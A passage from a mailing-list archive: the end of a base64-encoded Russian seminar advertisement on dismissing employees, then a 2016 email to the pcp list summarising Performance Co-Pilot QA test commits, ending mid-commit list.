0LDQu9GM0L3Ri9C5KTwvZm9udD48L2ZvbnQ+PGJyIC8+PGZvbnQgY29sb3I9IiNEOENFQjEiPi0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTwvZm9udD48YnIgLz48YnIg Lz48Zm9udCBmYWNlPSJDYWxpYnJpIj48Zm9udCBjb2xvcj0iIzgwMDA4MCI+PHN0cm9uZz7Qn9GA 0LXQtNC90LDQt9C90LDRh9C10L3QviDQtNC70Y86PC9zdHJvbmc+PC9mb250PjxzcGFuPsKgPC9z cGFuPjxiciAvPtGA0YPQutC+0LLQvtC00LjRgtC10LvQtdC5INGB0LvRg9C20LEg0LHQtdC30L7Q v9Cw0YHQvdC+0YHRgtC4LCDQstC10LTRg9GJ0LjRhSDRgdC/0LXRhtC40LDQu9C40YHRgtC+0LIg 0L/QviDQsdC10LfQvtC/0LDRgdC90L7RgdGC0LgsPHNwYW4+wqA8L3NwYW4+PGJyIC8+0LTQuNGA 0LXQutGC0L7RgNC+0LIg0L/QviDQv9C10YDRgdC+0L3QsNC70YMsINCy0LXQtNGD0YnQuNGFINGB 0L/QtdGG0LjQsNC70LjRgdGC0L7QsiDQv9C+IEhSLCDRjtGA0LjRgdGC0L7Qsi48L2ZvbnQ+PGJy IC8+wqA8L3A+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cD48Zm9udCBjb2xvcj0iIzY2MzMw MCI+PHN0cm9uZz48Zm9udCBzaXplPSI0Ij7CoMKgPHNwYW4+wqA8L3NwYW4+PGZvbnQgZmFjZT0i Q2FtYnJpYSI+0JIg0L/RgNC+0LPRgNCw0LzQvNC1PC9mb250PjwvZm9udD48L3N0cm9uZz48L2Zv bnQ+PHN0cm9uZz48Zm9udCBzaXplPSI0IiBjb2xvcj0iIzY2MzMwMCIgZmFjZT0iQ2FtYnJpYSI+ OjwvZm9udD48L3N0cm9uZz48YnIgLz48YnIgLz48Zm9udCBmYWNlPSJDYWxpYnJpIj48Zm9udCBj b2xvcj0iIzgwMDAwMCI+PHN0cm9uZz4xLjwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwvc3Bhbj7Q ndC+0YDQvNGLINCi0YDRg9C00L7QstC+0LPQviDQutC+0LTQtdC60YHQsCwg0YDQtdCz0LvQsNC8 0LXQvdGC0LjRgNGD0Y7RidC40LUg0YPQstC+0LvRjNC90LXQvdC40LUg0YHQvtGC0YDRg9C00L3Q uNC60L7Qsi4g0J7QsdGJ0LjQtSDQvtGB0L3QvtCy0LDQvdC40Y88c3Bhbj7CoDwvc3Bhbj48YnIg Lz7Qv9GA0LXQutGA0LDRidC10L3QuNGPINGC0YDRg9C00L7QstC+0LPQviDQtNC+0LPQvtCy0L7R gNCwLiDQn9C+0LfQuNGG0LjQuCDRgdGD0LTQvtCyINC/0YDQuCDRgNCw0YHRgdC80L7RgtGA0LXQ vdC40Lgg0YLRgNGD0LTQvtCy0YvRhSDRgdC/0L7RgNC+0LIg0L48c3Bhbj7CoDwvc3Bhbj48YnIg Lz7QvdC10L/RgNCw0LLQvtC80LXRgNC90L7QvCDRg9Cy0L7Qu9GM0L3QtdC90LjQuC4g0J7QsdC3 0L7RgCDRgdGD0LTQtdCx0L3QvtC5INC/0YDQsNC60YLQuNC60LguINCa0LDQutC40LUg0YHRgtCw 0YLRjNC4INGD0LLQvtC70YzQvdC10L3QuNGPINC/0YDQsNC60YLQuNGH0LXRgdC60Lg8c3Bhbj7C oDwvc3Bhbj48YnIgLz7QvdC1INC+0YHQv9Cw0YDQuNCy0LDRjtGC0YHRjyDQsiDRgdGD0LTQsNGF LiDQnNC10YLQvtC00YssINC/0YDQuNC80LXQvdGP0LXQvNGL0LUg0LDQtNCy0L7QutCw0YLQsNC8 0Lgg0LTQu9GPINC30LDRidC40YLRiyDRgdCy0L7QuNGFINC60LvQuNC10L3RgtC+0LIg0LI8c3Bh bj7CoDwvc3Bhbj48YnIgLz7RgtGA0YPQtNC+0LLRi9GFINGB0L/QvtGA0LDRhS48YnIgLz48Zm9u dCBjb2xvcj0iIzgwMDAwMCI+PHN0cm9uZz4yLjwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwvc3Bh bj7Qn9C+0YDRj9C00L7QuiDQstC30LDQuNC80L7QtNC10LnRgdGC0LLQuNGPINC/0L7QtNGA0LDQ t9C00LXQu9C10L3QuNC5INC4INC00L7Qu9C20L3QvtGB0YLQvdGL0YUg0LvQuNGGINC60L7QvNC/ 0LDQvdC40Lgg0L/QviDQstC+0L/RgNC+0YHQsNC8INGD0LLQvtC70YzQvdC10L3QuNGPPGJyIC8+ 0L/QtdGA0YHQvtC90LDQu9CwLiDQntC/0YDQtdC00LXQu9C10L3QuNC1INC80LXRgtC+0LTQvtCy INGD0LLQvtC70YzQvdC10L3QuNGPINC/0YDQuNC80LXQvdC40YLQtdC70YzQvdC+INC6INGA0LDQ t9C70LjRh9C90YvQvCDQtNC+0LvQttC90L7RgdGC0Y/QvC48c3Bhbj7CoDwvc3Bhbj48YnIgLz7Q oNCw0YHRgdGC0LDQstCw0L3QuNC1INGBINGB0L7RgtGA0YPQtNC90LjQutC+0LIsINC60L7RgtC+ 0YDRi9C5INC80L7QttC10YIg0L/RgNC10LTRgdGC0LDQstC70Y/RgtGMINC+0L/QsNGB0L3QvtGB 0YLRjCDQv9GA0Lgg0YPQstC+0LvRjNC90LXQvdC40LggKNGC0L7Qv9GLLCDQmNCiPHNwYW4+wqA8 L3NwYW4+PGJyIC8+0YHQv9C10YbQuNCw0LvQuNGB0YLRiywg0LHRg9GF0LPQsNC70YLQtdGA0LAs INC70LjRhtCwLCDQuNC80LXRjtGJ0LjQtSDQtNC+0YHRgtGD0L8g0Log0LrQvtC80LzQtdGA0YfQ tdGB0LrQvtC5INGC0LDQudC90LUg0Lgg0YIu0LQuKS4g0KPQstC+0LvRjNC90LXQvdC40LUg0LrQ sNC6PHNwYW4+wqA8L3NwYW4+PGJyIC8+0LrQvtC80L/RgNC+0LzQuNGB0YEg0LzQtdC20LTRgyDR gNCw0LHQvtGC0L3QuNC60L7QvCDQuCDRgNCw0LHQvtGC0L7QtNCw0YLQtdC70LXQvC48YnIgLz48 Zm9udCBjb2xvcj0iIzgwMDAwMCI+PHN0cm9uZz4zLjwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwv c3Bhbj7Qn9C+0LvQuNGC0LjQutCwINC60LDQtNGA0L7QstC+0Lkg0LHQtdC30L7Qv9Cw0YHQvdC+ 0YHRgtC4LiDQn9C+0LTQs9C+0YLQvtCy0LjRgtC10LvRjNC90YvQtSDQvNC10YDQvtC/0YDQuNGP 0YLQuNGPLCDQv9GA0LXQtNGI0LXRgdGC0LLRg9GO0YnQuNC1PHNwYW4+wqA8L3NwYW4+PGJyIC8+ 0YPQstC+0LvRjNC90LXQvdC40Y4uINCh0LHQvtGAINC4INCw0L3QsNC70LjQtyDQuNC90YTQvtGA 0LzQsNGG0LjQuCDQviDRhNC40LfQuNGH0LXRgdC60L7QvCDQu9C40YbQtSDQv9C+INC80LXRgtC+ 0LTRgyBTTUlDRS4g0KTQvtGA0LzQuNGA0L7QstCw0L3QuNC1PHNwYW4+wqA8L3NwYW4+PGJyIC8+ 0LzQsNGC0LXRgNC40LDQu9C+0LIg0Lgg0LTQvtGB0YzQtSDQvdCwINGB0L7RgtGA0YPQtNC90LjQ utCwLCDQv9C+0LfQstC+0LvRj9GO0YnQuNC1INGD0LHQtdC00LjRgtGMINC10LPQviDRg9Cy0L7Q u9C40YLRjNGB0Y8uINCf0YDQvtCy0L7QutCw0YbQuNC+0L3QvdGL0LU8c3Bhbj7CoDwvc3Bhbj48 YnIgLz7QvNC10YDQvtC/0YDQuNGP0YLQuNGPINCyINC60LDQtNGA0L7QstC+0Lkg0YDQsNCx0L7R gtC1LjxiciAvPjxmb250IGNvbG9yPSIjODAwMDAwIj48c3Ryb25nPjQuPC9zdHJvbmc+PC9mb250 PjxzcGFuPsKgPC9zcGFuPtCk0L7RgNC80LjRgNC+0LLQsNC90LjQtSDQv9GB0LjRhdC+0LvQvtCz 0LjRh9C10YHQutC40YUg0L/QvtGA0YLRgNC10YLQvtCyINGB0L7RgtGA0YPQtNC90LjQutC+0LIu INCf0YHQuNGF0L7Qu9C+0LPQuNGH0LXRgdC60LjQtSDQv9GA0LjQtdC80YssPHNwYW4+wqA8L3Nw YW4+PGJyIC8+0L/RgNC40LzQtdC90Y/QtdC80YvQtSDQtNC70Y8g0YPQsdC10LbQtNC10L3QuNGP INGB0L7RgtGA0YPQtNC90LjQutCwINGD0LLQvtC70LjRgtGM0YHRjy4g0KfRgtC+INC70YPRh9GI 0LUgLSDRgdC+0LPQu9Cw0YjQtdC90LjQtSDRgdGC0L7RgNC+0L0g0LjQu9C4PHNwYW4+wqA8L3Nw YW4+PGJyIC8+0YHQvtCx0YHRgtCy0LXQvdC90L7QtSDQttC10LvQsNC90LjQtS4g0KfRgtC+INGB 0LTQtdC70LDRgtGMLCDRh9GC0L7QsdGLINGB0L7RgtGA0YPQtNC90LjQuiDQvdC1INGB0LzQvtCz INC/0LXRgNC10LTRg9C80LDRgtGMLiDQkdC+0YDRjNCx0LAg0LrQvtC80L/RgNC+0LzQsNGC0L7Q si48c3Bhbj7CoDwvc3Bhbj48YnIgLz7QmNC80LjQtNC20LXQstGL0LUg0Lgg0YDQtdC/0YPRgtCw 0YbQuNC+0L3QvdGL0LUg0LDRgdC/0LXQutGC0Ysg0LLQvtC30LTQtdC50YHRgtCy0LjRjyDQvdCw INGD0LLQvtC70YzQvdGP0Y7RidC10LPQvtGB0Y8g0YHQvtGC0YDRg9C00L3QuNC60LAuPGJyIC8+ PGZvbnQgY29sb3I9IiM4MDAwMDAiPjxzdHJvbmc+NS48L3N0cm9uZz48L2ZvbnQ+PHNwYW4+wqA8 L3NwYW4+0KTQvtGA0LzQuNGA0L7QstCw0L3QuNC1INC60L7QtNC10LrRgdCwINC60L7RgNC/0L7R gNCw0YLQuNCy0L3QvtC5INGN0YLQuNC60Lgg0Lgg0LjRgdC/0L7Qu9GM0LfQvtCy0LDQvdC40LUg 0LXQs9C+INGC0YDQtdCx0L7QstCw0L3QuNC5INC/0YDQuCDRg9Cy0L7Qu9GM0L3QtdC90LjQuDxz cGFuPsKgPC9zcGFuPjxiciAvPtGB0L7RgtGA0YPQtNC90LjQutCwLiDQmNGB0L/QvtC70YzQt9C+ 0LLQsNC90LjQtSDRgNCw0LfQu9C40YfQvdGL0YUg0YDQvtC70LXQstGL0YUg0LjQs9GAINCyINC/ 0YDQvtGG0LXRgdGB0LUg0L/RgNC40LzQtdC90LXQvdC40Y8g0L3QsCDQv9GA0LDQutGC0LjQutC1 PHNwYW4+wqA8L3NwYW4+PGJyIC8+0YLRgNC10LHQvtCy0LDQvdC40Lkg0LrQvtC00LXQutGB0LAg 0LrQvtGA0L/QvtGA0LDRgtC40LLQvdC+0Lkg0Y3RgtC40LrQtS48YnIgLz48Zm9udCBjb2xvcj0i IzgwMDAwMCI+PHN0cm9uZz42Ljwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwvc3Bhbj7QntGB0YPR idC10YHRgtCy0LvQtdC90LjQtSDQutC+0LzQv9C70LDQtdC90YEt0LrQvtC90YLRgNC+0LvRjyDQ t9CwINGB0L7RgtGA0YPQtNC90LjQutCw0LzQuCDQutC+0LzQv9Cw0L3QuNC4LiDQn9GA0LjQvNC1 0L3QtdC90LjQtSDQtdCz0L4g0YDQtdC30YPQu9GM0YLQsNGC0L7QsjxzcGFuPsKgPC9zcGFuPjxi ciAvPtC00LvRjyDQstC+0LfQtNC10LnRgdGC0LLQuNGPINC90LAg0YHQvtGC0YDRg9C00L3QuNC6 0LAuPGJyIC8+PGZvbnQgY29sb3I9IiM4MDAwMDAiPjxzdHJvbmc+Ny48L3N0cm9uZz48L2ZvbnQ+ PHNwYW4+wqA8L3NwYW4+0JrQsNC6INGA0LDRgdGB0YLQsNGC0YzRgdGPINGBINC90LXQv9GA0L7R hNC10YHRgdC40L7QvdCw0LvQsNC80LguINCY0YHQv9GL0YLQsNC90LjQtSDQutCw0Log0YHQv9C+ 0YHQvtCxINC+0YbQtdC90LrQuCDQutCy0LDQu9C40YTQuNC60LDRhtC40LguPHNwYW4+wqA8L3Nw YW4+PGJyIC8+0KPQstC+0LvRjNC90LXQvdC40LUg0YHQvtGC0YDRg9C00L3QuNC60LAg0L3QtSDQ v9GA0L7RiNC10LTRiNC10LPQviDQuNGB0L/Ri9GC0LDQvdC40Y8uINCf0YDQsNCy0LjQu9CwINGA 0LDQsdC+0YLRiyDQsNGC0YLQtdGB0YLQsNGG0LjQvtC90L3Ri9GFINC60L7QvNC40YHRgdC40Lk8 c3Bhbj7CoDwvc3Bhbj48YnIgLz7QtNC70Y8g0L/QvtC00YLQstC10YDQttC00LXQvdC40Y8g0LrQ stCw0LvQuNGE0LjQutCw0YbQuNC4LjxiciAvPjxmb250IGNvbG9yPSIjODAwMDAwIj48c3Ryb25n PjguPC9zdHJvbmc+PC9mb250PjxzcGFuPsKgPC9zcGFuPtCh0L7QutGA0LDRidC10L3QuNC1INGI 0YLQsNGC0L7QsiDQuNC70Lgg0LjQt9C80LXQvdC10L3QuNC1INGD0YHQu9C+0LLQuNC5INGC0YDR g9C00L7QstC+0LPQviDQtNC+0LPQvtCy0L7RgNCwINC60LDQuiDRgdC/0L7RgdC+0LEg0LjQt9Cx 0LDQstC40YLRjNGB0Y8g0L7RgjxzcGFuPsKgPC9zcGFuPjxiciAvPtC90LXQvdGD0LbQvdGL0YUg 0YHQvtGC0YDRg9C00L3QuNC60L7Qsi4g0J/RgNC+0YbQtdC00YPRgNGLINC/0YDQuNC80LXQvdC1 0L3QuNGPINC90LAg0L/RgNCw0LrRgtC40LrQtS48YnIgLz48Zm9udCBjb2xvcj0iIzgwMDAwMCI+ PHN0cm9uZz45Ljwvc3Ryb25nPjwvZm9udD48c3Bhbj7CoDwvc3Bhbj7QmtCw0Log0YPQstC+0LvQ uNGC0Ywg0YHQvtGC0YDRg9C00L3QuNC60LAsINC6INC60L7RgtC+0YDQvtC80YMg0YPRgtGA0LDR h9C10L3QviDQtNC+0LLQtdGA0LjQtS4g0J7RgdC+0LHQtdC90L3QvtGB0YLQuCDRg9Cy0L7Qu9GM 0L3QtdC90LjRjyDQvNCw0YLQtdGA0LjQsNC70YzQvdC+PHNwYW4+wqA8L3NwYW4+PGJyIC8+0L7R gtCy0LXRgtGB0YLQstC10L3QvdGL0YUg0LvQuNGGLiDQn9GA0L7RhtC10LTRg9GA0Ysg0L/RgNC+ 0LLQtdC00LXQvdC40Y8g0LjQvdCy0LXQvdGC0LDRgNC40LfQsNGG0LjQuCDQuNC80YPRidC10YHR gtCy0LAg0Lgg0LjQvdGL0YUg0LDQutGC0LjQstC+0LIuPGJyIC8+PGZvbnQgY29sb3I9IiM4MDAw MDAiPjxzdHJvbmc+MTAuPC9zdHJvbmc+PC9mb250PjxzcGFuPsKgPC9zcGFuPtCf0YDQsNCy0L4g 0YDQsNCx0L7RgtC+0LTQsNGC0LXQu9GPINC90LAg0YPQstC+0LvRjNC90LXQvdC40LUg0YHQvtGC 0YDRg9C00L3QuNC60LAg0LjQty3Qt9CwINC90LXQvtC00L3QvtC60YDQsNGC0L3QvtCz0L4g0L3Q tdC40YHQv9C+0LvQvdC10L3QuNGPINC40Lw8c3Bhbj7CoDwvc3Bhbj48YnIgLz7RgtGA0YPQtNC+ 0LLRi9GFINC+0LHRj9C30LDQvdC90L7RgdGC0LXQuSDQuNC70Lgg0LfQsCDQvtC00L3QvtC60YDQ sNGC0L3QvtC1INCz0YDRg9Cx0L7QtSDQvdCw0YDRg9GI0LXQvdC40LUuINCe0YHQvtCx0LXQvdC9 0L7RgdGC0Lgg0LjRgdC/0L7Qu9GM0LfQvtCy0LDQvdC40Y88c3Bhbj7CoDwvc3Bhbj48YnIgLz7R jdGC0L7Qs9C+INC/0YDQsNCy0LAg0Lgg0L/RgNC+0YbQtdGB0YHRg9Cw0LvRjNC90YvQtSDQvdC+ 0YDQvNGLLCDQutC+0YLQvtGA0YvQtSDQtNC+0LvQttC90Ysg0L/RgNC4INGN0YLQvtC8INGB0L7Q sdC70Y7QtNCw0YLRjNGB0Y8uPGJyIC8+PGZvbnQgY29sb3I9IiM4MDAwMDAiPjxzdHJvbmc+MTEu PC9zdHJvbmc+PC9mb250PjxzcGFuPsKgPC9zcGFuPtCf0YDQvtGE0YHQvtGO0LfRiyDQutCw0Log 0Y3Qu9C10LzQtdC90YIg0LfQsNGJ0LjRgtGLINGB0L7RgtGA0YPQtNC90LjQutCwINC/0YDQuCDR g9Cy0L7Qu9GM0L3QtdC90LjQuC4g0JrQsNC6INGD0LHQtdC00LjRgtGMINC/0YDQvtGE0YHQvtGO 0Lc8c3Bhbj7CoDwvc3Bhbj48YnIgLz7RgdC+0LPQu9Cw0YHQvtCy0LDRgtGMINC/0YDQvtGG0LXQ tNGD0YDRiyDRg9Cy0L7Qu9GM0L3QtdC90LjRjy4g0KHQv9C+0YHQvtCx0Ysg0LTQvtGB0YLQuNC2 0LXQvdC40Y8g0LvQvtGP0LvRjNC90L7RgdGC0Lgg0YfQu9C10L3QvtCyINC/0YDQvtGE0YHQvtGO 0LfQsCDQv9C+PHNwYW4+wqA8L3NwYW4+PGJyIC8+0L7RgtC90L7RiNC10L3QuNGOINC6INGA0LDQ sdC+0YLQvtC00LDRgtC10LvRji48YnIgLz48Zm9udCBjb2xvcj0iIzgwMDAwMCI+PHN0cm9uZz4x Mi48L3N0cm9uZz48L2ZvbnQ+PHNwYW4+wqA8L3NwYW4+0J/RgNC+0LLQtdC00LXQvdC40LUg0LLQ vdGD0YLRgNC10L3QvdC40YUg0L/RgNC+0LLQtdGA0L7QuiDQuCDRgNCw0YHRgdC70LXQtNC+0LLQ sNC90LjQuSDQsiDRgdC70YPRh9Cw0LUg0L/RgNC40LLQu9C10YfQtdC90LjRjyDRgdC+0YLRgNGD 0LTQvdC40LrQsCDQujxzcGFuPsKgPC9zcGFuPjxiciAvPtC00LjRgdGG0LjQv9C70LjQvdCw0YDQ vdC+0Lkg0L7RgtCy0LXRgtGB0YLQstC10L3QvdC+0YHRgtC4INCyINCy0LjQtNC1INGD0LLQvtC7 0YzQvdC10L3QuNGPLiDQntGB0L7QsdC10L3QvdC+0YHRgtC4INC/0YDQvtCy0LXQtNC10L3QuNGP INGA0LDRgdGB0LvQtdC00L7QstCw0L3QuNC5PHNwYW4+wqA8L3NwYW4+PGJyIC8+0L/QviDRhNCw 0LrRgtCw0Lwg0YDQsNC30LPQu9Cw0YjQtdC90LjRjyDQutC+0L3RhNC40LTQtdC90YbQuNCw0LvR jNC90L7QuSDQuNC90YTQvtGA0LzQsNGG0LjQuCwg0L/QvtGP0LLQu9C10L3QuNGPINC90LAg0YDQ sNCx0L7RgtC1INCyINGB0L7RgdGC0L7Rj9C90LjQuDxzcGFuPsKgPC9zcGFuPjxiciAvPtC+0L/R jNGP0L3QtdC90LjRjywg0L/RgNC+0LPRg9C70LAg0Lgg0LjQvdGL0YUg0LTQtdC50YHRgtCy0LjQ uSwg0L/QvtC/0LDQtNCw0Y7RidC40YUg0L/QvtC0INC/0L7QvdGP0YLQuNC1INCz0YDRg9Cx0L7Q tSDQvdCw0YDRg9GI0LXQvdC40LUuPGJyIC8+PGZvbnQgY29sb3I9IiM4MDAwMDAiPjxzdHJvbmc+ MTMuPC9zdHJvbmc+PC9mb250PjxzcGFuPsKgPC9zcGFuPtCY0YHQv9C+0LvRjNC30L7QstCw0L3Q uNC1INC/0L7Qu9C40LPRgNCw0YTQsCAo0LTQtdGC0LXQutGC0L7RgNCwINC70LbQuCkg0L/RgNC4 INC/0YDQvtCy0LXQtNC10L3QuNC4INCy0L3Rg9GC0YDQtdC90L3QuNGFINC/0YDQvtCy0LXRgNC+ 0Log0Lg8c3Bhbj7CoDwvc3Bhbj48YnIgLz7RgNCw0YHRgdC70LXQtNC+0LLQsNC90LjQuS4g0JrQ vtC90YLQsNC60YLQvdGL0Lkg0LjQu9C4INCx0LXRgdC60L7QvdGC0LDQutGC0L3Ri9C5INC/0L7Q u9C40LPRgNCw0YQsINGH0YLQviDQu9GD0YfRiNC1PyDQn9GA0LDQstC+0LLQsNGPINC4PHNwYW4+ wqA8L3NwYW4+PGJyIC8+0L7RgNCz0LDQvdC40LfQsNGG0LjQvtC90L3QsNGPINGB0YLQvtGA0L7Q vdCwINCy0L7Qv9GA0L7RgdCwLiDQnNC+0LbQvdC+INC70Lgg0L7QsdC80LDQvdGD0YLRjCDQv9C+ 0LvQuNCz0YDQsNGEPzxiciAvPjxmb250IGNvbG9yPSIjODAwMDAwIj48c3Ryb25nPjE0Ljwvc3Ry b25nPjwvZm9udD48c3Bhbj7CoDwvc3Bhbj7QlNC+0LrRg9C80LXQvdGC0LDQu9GM0L3QvtC1INC+ 0YTQvtGA0LzQu9C10L3QuNC1INGA0LXQt9GD0LvRjNGC0LDRgtC+0LIg0LLQvdGD0YLRgNC10L3Q vdC40YUg0L/RgNC+0LLQtdGA0L7QuiAo0YDQsNGB0YHQu9C10LTQvtCy0LDQvdC40LkpLiDQktC+ 0LfQvNC+0LbQvdC+0YHRgtGMPHNwYW4+wqA8L3NwYW4+PGJyIC8+0LjRgdC/0L7Qu9GM0LfQvtCy 0LDQvdC40Y8g0YDQtdC30YPQu9GM0YLQsNGC0L7QsiDQsiDQutCw0YfQtdGB0YLQstC1INC00L7Q utCw0LfQsNGC0LXQu9GM0YHRgtCy0LAg0LLQuNC90Ysg0YHQvtGC0YDRg9C00L3QuNC60LAuINCS 0LfQsNC40LzQvtC+0YLQvdC+0YjQtdC90LjQtSDRgTxzcGFuPsKgPC9zcGFuPjxiciAvPtC/0YDQ sNCy0L7QvtGF0YDQsNC90LjRgtC10LvRjNC90YvQvNC4INC4INC40L3Ri9C80Lgg0LPQvtGB0YPQ tNCw0YDRgdGC0LLQtdC90L3Ri9C80Lgg0L7RgNCz0LDQvdCw0LzQuCDQv9C+INC/0YDQuNCy0LvQ tdGH0LXQvdC40Y4g0YHQvtGC0YDRg9C00L3QuNC60LAg0Lo8c3Bhbj7CoDwvc3Bhbj48YnIgLz7Q sNC00LzQuNC90LjRgdGC0YDQsNGC0LjQstC90L7QuSDQuNC70Lgg0YPQs9C+0LvQvtCy0L3QvtC5 INC+0YLQstC10YLRgdGC0LLQtdC90L3QvtGB0YLQuC48L2ZvbnQ+PC9wPjx0YWJsZSBib3JkZXI9 IjEiIHdpZHRoPSIxMDAlIiBzdHlsZT0iYm9yZGVyLXdpZHRoOjBweDsiPjx0Ym9keT48dHI+PHRk IGJnY29sb3I9IiNGQkZBRjciIHN0eWxlPSJib3JkZXItc3R5bGU6bm9uZTtib3JkZXItd2lkdGg6 bWVkaXVtOyI+PHAgYWxpZ249ImNlbnRlciI+PGJyIC8+PHN0cm9uZz48Zm9udCBjb2xvcj0iIzgw MDAwMCIgZmFjZT0iQ2FsaWJyaSI+0KPRh9Cw0YHRgtC40LU6PC9mb250Pjwvc3Ryb25nPjxmb250 IGZhY2U9IkNhbGlicmkiPjxzcGFuPsKgPC9zcGFuPjxzdHJvbmc+MjIgODAwINGALjwvc3Ryb25n PjxiciAvPjxzdHJvbmc+wqA8c3Bhbj7CoDwvc3Bhbj48L3N0cm9uZz7QkiDRgdGC0L7QuNC80L7R gdGC0Ywg0LLRhdC+0LTQuNGCINC80LXRgtC+0LTQuNGH0LXRgdC60LjQuSDQvNCw0YLQtdGA0LjQ sNC7LCDQvtCx0LXQtNGLLCDQutC+0YTQtS3Qv9Cw0YPQt9GLLjxzcGFuPsKgPC9zcGFuPjxiciAv PjxzdHJvbmc+wqA8c3Bhbj7CoDwvc3Bhbj48L3N0cm9uZz7QmNC90L7Qs9C+0YDQvtC00L3QuNC8 INGD0YfQsNGB0YLQvdC40LrQsNC8INC/0L7QvNC+0LPQsNC10Lwg0LIg0LHRgNC+0L3QuNGA0L7Q stCw0L3QuNC4INCz0L7RgdGC0LjQvdC40YbRiy48YnIgLz48Zm9udCBjb2xvcj0iIzgwMDAwMCI+ PHN0cm9uZz7Qn9C+INC+0LrQvtC90YfQsNC90LjRjiDQt9Cw0L3Rj9GC0LjRjyDQktCw0Lwg0L/R gNC10LTQvtGB0YLQsNCy0LvRj9C10YLRgdGPINGB0LXRgNGC0LjRhNC40LrQsNGCLjwvc3Ryb25n PjwvZm9udD48L2ZvbnQ+PC9wPjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC90ZD48dGQgYmdj b2xvcj0iI0Q4Q0VCMSIgc3R5bGU9ImJvcmRlci1zdHlsZTpub25lO2JvcmRlci13aWR0aDptZWRp dW07Ij7CoDwvdGQ+PC90cj48dHI+PHRkIGJnY29sb3I9IiNEOENFQjEiIHN0eWxlPSJib3JkZXIt dG9wLXN0eWxlOm5vbmU7Ym9yZGVyLXRvcC13aWR0aDptZWRpdW07Ij7CoDwvdGQ+PHRkIGJnY29s b3I9IiNEOENFQjEiIHN0eWxlPSJib3JkZXItdG9wLXN0eWxlOm5vbmU7Ym9yZGVyLXRvcC13aWR0 aDptZWRpdW07Ij48cCBhbGlnbj0iY2VudGVyIj7CoDwvcD48L3RkPjx0ZCBiZ2NvbG9yPSIjRDhD RUIxIiBzdHlsZT0iYm9yZGVyLXRvcC1zdHlsZTpub25lO2JvcmRlci10b3Atd2lkdGg6bWVkaXVt OyI+wqA8L3RkPjwvdHI+PC90Ym9keT48L3RhYmxlPjwvZGl2Pg== From kenj@internode.on.net Tue Oct 18 18:52:53 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 75F607CA0 for ; Tue, 18 Oct 2016 18:52:53 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 37E1230404E for ; Tue, 18 Oct 2016 16:52:53 -0700 (PDT) X-ASG-Debug-ID: 1476834768-0bf57b1e9467c080001-S8gJnT Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id vPArZwXBvhUec1UM for ; Tue, 18 Oct 2016 16:52:48 -0700 (PDT) X-Barracuda-Envelope-From: kenj@internode.on.net X-Barracuda-Effective-Source-IP: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2D/FgAXtQZYEKhImAENTx0BFwEGAYMvAQEBAQF0KlKGcrQHH4I8hhsBAgEBAQEBAgYBAQEBAQEBATeBBQ6EPH4HBgImAkUOGQYCAQG+VWeNMIEHhzMIh2OCOIJbBYg9kUuGKJNghXWMe4QAgSiCNIJVXoJBhVgBAQE Received: from unknown (HELO [192.168.43.221]) ([1.152.72.168]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Oct 2016 10:22:45 +1030 To: pcp@oss.sgi.com Subject: pcp updates misc From: Ken McDonell X-ASG-Orig-Subj: pcp updates misc Message-ID: Date: Wed, 19 Oct 2016 10:52:45 +1100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1476834768 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2168 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33836 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Note the qa/884 change is really to expose a code deficiency in libpcp_web (assuming all values will fit into an "int") that should be fixed ... I think this has been discussed before, but I don't know if there is a BZ issue open for it. Changes committed to git://git.pcp.io/kenj/pcp master Ken McDonell (4): qa/1024: make safe for 32-bit systems qa/src/json_test.c: add support for -D on the command line qa/884.out: replace negative values by the correct 64-bit values qa/051: really, really (!!) fix "off net" filtering qa/051 | 54 +++++++++++++++++++++++++------- qa/1024.out | 72 +++++++++++++++++++++---------------------- qa/884.out | 6 +-- qa/linux/blkdev-root-006.tgz |binary qa/src/json_test.c | 42 ++++++++++++++++++++++++- 5 files changed, 122 insertions(+), 52 deletions(-) Details ... commit a459b176dda228f25ed5b868a123ed6127687edc Author: Ken McDonell Date: Wed Oct 19 10:49:38 2016 +1100 qa/051: really, really (!!) fix "off net" filtering Luckily I'm the only one suffering in this Neanderthal networking environment. commit ad9ea44ad4165c8ca69ef4997e80acb588697f97 Author: Ken McDonell Date: Wed Oct 19 09:38:06 2016 +1100 qa/884.out: replace negative values by the correct 64-bit values This will force the test to fail everywhere until the underlying json parsing code is taught that not all values will fit into 32-bits. commit 4f4505c9515b3f6abd3ed3cac684acc0e665ed41 Author: Ken McDonell Date: Wed Oct 19 09:37:34 2016 +1100 qa/src/json_test.c: add support for -D on the command line commit 